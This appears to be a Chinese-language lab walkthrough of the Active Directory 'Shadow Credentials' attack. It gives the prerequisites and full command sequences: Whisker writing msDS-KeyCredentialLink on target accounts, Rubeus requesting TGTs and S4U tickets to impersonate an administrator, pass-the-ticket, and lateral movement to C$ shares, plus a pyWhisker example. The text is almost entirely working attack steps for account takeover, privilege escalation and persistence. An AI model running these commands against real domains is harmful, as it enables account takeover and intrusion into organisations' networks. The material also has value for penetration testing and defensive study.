若可以写入用户/计算机的 msDS-KeyCredentialLink
属性,那么您就可以接管用户或者计算机账户。是权限提升和维持的手段。
Conditions
除了可以写入用户/计算机的 msDS-KeyCredentialLink
属性之外,还需要以下条件:
- 域必须配置 Active Directory 证书服务和证书颁发机构。
- 域必须至少有一个运行支持 PKINIT 的 Windows Server 2016 的 DC。
Experiment
User Account Take Over
- 使用Whisker添加影子凭据至易受攻击的用户账户
1
| Whisker.exe add /target:sac1$
|
可以在Powershell中使用如下命令确实是否成功导入
- 拉取TGT
1
| Rubeus.exe asktgt /user:sac1$ /certificate:MIIJuAIBAzCCCXQGCSqGSIb3DQEHAaCCCWUE.....yQICB9A= /password:"FordjX0Vp2VSncVV" /domain:first.local /dc:First-DC.first.local /getcredentials /show /ptt
|
- 横向移动
1
| ls \\First-DC.first.local \c$
|
Computer Account Take Over
- 同上添加影子凭据至易受攻击的计算机用户
1
| Whisker.exe add /target:user-server2$
|
- 拉取TGT
1
| Rubeus.exe asktgt /user:user-server2$ /certificate:MIIJ0AIBAzCCCYwGCSqGSIb3DQEHAaCCCX0Egg......QnLxTwICB9A= /password:"ckXTY5LJOKKbG2TN" /domain:first.local /dc:First-DC.first.local /getcredententials /show /ptt /nowrap
|
- 注入TGS
1
| Rubeus.exe s4u /dc:first-dc.first.local /ticket:doIGjjCCBoqgAwI......dBsLZmlyc3QubG9jYWw= /impersonateuser:admin@first.local /ptt /self /service:host/user-server2.first.local /altservice:cifs/user-server2.first.local
|
- 横向移动
1
| ls \\user-server2.first.local\c$
|
Other
pyWhisker:Python版本的Whisker
1
| python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
|